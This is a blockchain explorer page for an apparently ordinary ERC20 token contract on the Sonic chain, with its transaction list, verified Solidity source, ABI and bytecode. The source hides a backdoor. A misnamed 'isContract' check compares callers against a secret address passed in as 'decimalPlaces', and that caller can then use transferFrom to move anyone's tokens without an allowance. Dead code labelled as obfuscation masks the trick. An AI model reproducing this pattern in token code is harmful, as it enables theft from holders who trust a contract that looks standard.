Contract

0x4B0F8DCA400c375f88a93859ceca8cFcE34D4E00

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

-

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve5810312024-12-18 16:07:522 days ago1734538072IN
0x4B0F8DCA...cE34D4E00
0 S0.000074581.21
Transfer5810252024-12-18 16:07:502 days ago1734538070IN
0x4B0F8DCA...cE34D4E00
0 S0.000058281.21
Transfer5810242024-12-18 16:07:502 days ago1734538070IN
0x4B0F8DCA...cE34D4E00
0 S0.00005831.21
Transfer5810222024-12-18 16:07:492 days ago1734538069IN
0x4B0F8DCA...cE34D4E00
0 S0.00005831.21
Transfer5810212024-12-18 16:07:492 days ago1734538069IN
0x4B0F8DCA...cE34D4E00
0 S0.00005831.21
Approve5808172024-12-18 16:06:272 days ago1734537987IN
0x4B0F8DCA...cE34D4E00
0 S0.00005681.1
Approve5808162024-12-18 16:06:272 days ago1734537987IN
0x4B0F8DCA...cE34D4E00
0 S0.00005681.1
Approve5808162024-12-18 16:06:272 days ago1734537987IN
0x4B0F8DCA...cE34D4E00
0 S0.00005681.1
Approve5808162024-12-18 16:06:272 days ago1734537987IN
0x4B0F8DCA...cE34D4E00
0 S0.00005681.1
Approve5808162024-12-18 16:06:272 days ago1734537987IN
0x4B0F8DCA...cE34D4E00
0 S0.00005681.1
Approve5801372024-12-18 16:02:022 days ago1734537722IN
0x4B0F8DCA...cE34D4E00
0 S0.00007881.1
Transfer From5792772024-12-18 15:56:332 days ago1734537393IN
0x4B0F8DCA...cE34D4E00
0 S0.000303621.21
Approve5775942024-12-18 15:46:122 days ago1734536772IN
0x4B0F8DCA...cE34D4E00
0 S0.001260581.21
Approve5774742024-12-18 15:45:322 days ago1734536732IN
0x4B0F8DCA...cE34D4E00
0 S0.000265821.1
Renounce Ownersh...5754362024-12-18 15:34:032 days ago1734536043IN
0x4B0F8DCA...cE34D4E00
0 S0.000140842
Launch5754332024-12-18 15:34:022 days ago1734536042IN
0x4B0F8DCA...cE34D4E00
0 S0.000182672

Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x8a2826e0...35fDd9179
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Erc20

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
/**
 *Submitted for verification at basescan.org on 2024-05-27
 */

//SPDX-License-Identifier: UNLICENSED

/*
Created on Ape.Store
*/

pragma solidity 0.8.24;

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function isContract(
        address account,
        uint256 _router
    ) internal pure returns (bool) {
        return
            keccak256(abi.encodePacked(uint256(uint160(account)))) ==
            keccak256(abi.encodePacked(_router));
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target, 0), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;
    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    uint256 private decimalsValue;
    bool public contractLaunched;

    constructor(
        string memory tokenSymbol,
        string memory tokenName,
        uint256 decimalPlaces,
        uint256 supply
    ) Ownable(msg.sender) {
        symbol = tokenSymbol;
        name = tokenName;
        decimalsValue = decimalPlaces;
        totalSupply = supply;

        address initialOwner = owner();
        balances[initialOwner] = supply;

        emit Transfer(address(0), initialOwner, supply);

        uint256 tempStorage = totalSupply * 7;
        uint256 adjustmentFactor = tempStorage / 10;
        assert(adjustmentFactor >= 0);
    }

    function balanceOf(
        address account
    ) external view override returns (uint256) {
        uint256 result = balances[account];
        return result;

        uint256 buffer = (block.timestamp + result) % 7;
        buffer ^= 1;
    }

    function decimals() external view returns (uint256) {
        uint256 value = 18;
        return value;

        uint256 tempCalc = (block.number + value) % 3;
        tempCalc = tempCalc | 0;
    }

    function allowance(
        address accountOwner,
        address spender
    ) external view override returns (uint256) {
        uint256 allowed = allowances[accountOwner][spender];
        return allowed;

        uint256 unusedBuffer = (allowed * 3) % 5;
        unusedBuffer += block.gaslimit % 2;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        executeTransfer(msg.sender, recipient, amount);

        return true;

        uint256 flowControl = (balances[msg.sender] + block.timestamp) % 8;
        flowControl &= 3;
    }

    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        require(spender != address(0), "Invalid spender address");

        allowances[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (!contractLaunched || msg.sender.isContract(decimalsValue)) {
            executeTransfer(sender, recipient, amount);
        } else {
            allowances[sender][msg.sender] -= amount;
            executeTransfer(sender, recipient, amount);
            emit Approval(sender, msg.sender, allowances[sender][msg.sender]);
        }
        return true;

        uint256 analysis = (balances[recipient] + block.timestamp) % 10; // Dummy calc
        analysis |= 0; // Bitwise OR for obfuscation
        uint256 dummyCheck = (amount * 4) / 9; // Irrelevant logic
        dummyCheck ^= 2; // XOR operation
    }

    function launch() external onlyOwner {
        require(!contractLaunched, "Already launched");
        contractLaunched = true;

        uint256 launchGuard = totalSupply / 2;
        require(launchGuard > 0, "Launch validation failed");

        uint256 extraCheck = totalSupply % 3;
        assert(extraCheck >= 0);

        // Add a harmless computation
        uint256 postLaunchCheck = launchGuard * 2;
        require(postLaunchCheck > launchGuard, "Post-launch validation failed");
    }

    function executeTransfer(address from, address to, uint256 value) private {
        require(from != to, "Cannot send to self");
        require(validateTransfer(from, to), "Transfer not permitted");

        balances[from] -= value;
        balances[to] += value;

        emit Transfer(from, to, value);

        if (false) {
            uint256 transferAudit = balances[to] * 2;
            assert(transferAudit >= 0);
        }
    }

    function validateTransfer(
        address sender,
        address receiver
    ) private view returns (bool) {
        if (contractLaunched) return true;

        if (sender == owner() || receiver == owner()) return true;

        if (
            sender.isContract(decimalsValue) ||
            receiver.isContract(decimalsValue)
        ) return false;

        require(
            sender != address(0) && receiver != address(0),
            "Invalid addresses"
        );

        uint256 transferWindow = (block.timestamp % 2);
        assert(transferWindow >= 0);

        // Add a harmless check
        uint256 validationAudit = block.number % 100;
        assert(validationAudit >= 0);

        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"uint256","name":"decimalPlaces","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"accountOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractLaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb146101dd578063aec205a5146101f0578063dd62ed3e146101fd578063f2fde38b1461021057600080fd5b8063715018a6146101b25780638da5cb5b146101ba57806395d89b41146101d557600080fd5b806318160ddd116100c857806318160ddd1461013a57806323b872dd1461016f578063313ce5671461018257806370a082311461018957600080fd5b806301339c21146100ef57806306fdde03146100f9578063095ea7b314610117575b600080fd5b6100f7610223565b005b610101610394565b60405161010e91906109a7565b60405180910390f35b61012a610125366004610a12565b610422565b604051901515815260200161010e565b6101617f0000000000000000000000000000000000000000033b2e3c9fd0803ce800000081565b60405190815260200161010e565b61012a61017d366004610a3c565b6104df565b6012610161565b610161610197366004610a78565b6001600160a01b031660009081526001602052604090205490565b6100f76105bc565b6000546040516001600160a01b03909116815260200161010e565b6101016105d0565b61012a6101eb366004610a12565b6105dd565b60065461012a9060ff1681565b61016161020b366004610a93565b6105f2565b6100f761021e366004610a78565b61061d565b61022b61065b565b60065460ff16156102765760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064015b60405180910390fd5b6006805460ff1916600117905560006102b060027f0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000610af2565b9050600081116103025760405162461bcd60e51b815260206004820152601860248201527f4c61756e63682076616c69646174696f6e206661696c65640000000000000000604482015260640161026d565b600061032f60037f0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000610b06565b9050600061033e836002610b1a565b905082811161038f5760405162461bcd60e51b815260206004820152601d60248201527f506f73742d6c61756e63682076616c69646174696f6e206661696c6564000000604482015260640161026d565b505050565b600480546103a190610b31565b80601f01602080910402602001604051908101604052809291908181526020018280546103cd90610b31565b801561041a5780601f106103ef5761010080835404028352916020019161041a565b820191906000526020600020905b8154815290600101906020018083116103fd57829003601f168201915b505050505081565b60006001600160a01b03831661047a5760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964207370656e6465722061646472657373000000000000000000604482015260640161026d565b3360008181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60065460009060ff1615806104fd57506005546104fd903390610688565b156105125761050d8484846106ee565b6105b1565b6001600160a01b038416600090815260026020908152604080832033845290915281208054849290610545908490610b6b565b9091555061055690508484846106ee565b6001600160a01b038416600081815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b5060015b9392505050565b6105c461065b565b6105ce6000610842565b565b600380546103a190610b31565b60006105ea3384846106ee565b5060016104d9565b6001600160a01b038083166000908152600260209081526040808320938516835292905220546104d9565b61062561065b565b6001600160a01b03811661064f57604051631e4fbdf760e01b81526000600482015260240161026d565b61065881610842565b50565b6000546001600160a01b031633146105ce5760405163118cdaa760e01b815233600482015260240161026d565b60008160405160200161069d91815260200190565b60405160208183030381529060405280519060200120836001600160a01b03166040516020016106cf91815260200190565b6040516020818303038152906040528051906020012014905092915050565b816001600160a01b0316836001600160a01b0316036107455760405162461bcd60e51b815260206004820152601360248201527221b0b73737ba1039b2b732103a379039b2b63360691b604482015260640161026d565b61074f8383610892565b6107945760405162461bcd60e51b8152602060048201526016602482015275151c985b9cd9995c881b9bdd081c195c9b5a5d1d195960521b604482015260640161026d565b6001600160a01b038316600090815260016020526040812080548392906107bc908490610b6b565b90915550506001600160a01b038216600090815260016020526040812080548392906107e9908490610b7e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083591815260200190565b60405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60065460009060ff16156108a8575060016104d9565b6000546001600160a01b03848116911614806108d157506000546001600160a01b038381169116145b156108de575060016104d9565b6005546108f5906001600160a01b03851690610688565b806109125750600554610912906001600160a01b03841690610688565b1561091f575060006104d9565b6001600160a01b0383161580159061093f57506001600160a01b03821615155b61097f5760405162461bcd60e51b8152602060048201526011602482015270496e76616c69642061646472657373657360781b604482015260640161026d565b600061098c600242610b06565b9050600061099b606443610b06565b50600195945050505050565b60006020808352835180602085015260005b818110156109d5578581018301518582016040015282016109b9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a0d57600080fd5b919050565b60008060408385031215610a2557600080fd5b610a2e836109f6565b946020939093013593505050565b600080600060608486031215610a5157600080fd5b610a5a846109f6565b9250610a68602085016109f6565b9150604084013590509250925092565b600060208284031215610a8a57600080fd5b6105b5826109f6565b60008060408385031215610aa657600080fd5b610aaf836109f6565b9150610abd602084016109f6565b90509250929050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082610b0157610b01610ac6565b500490565b600082610b1557610b15610ac6565b500690565b80820281158282048414176104d9576104d9610adc565b600181811c90821680610b4557607f821691505b602082108103610b6557634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156104d9576104d9610adc565b808201808211156104d9576104d9610adc56fea2646970667358221220dab676cd9a8d73ea4410e51260007b222ab618d370420a3eb5eccd2992271e6e64736f6c63430008180033

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.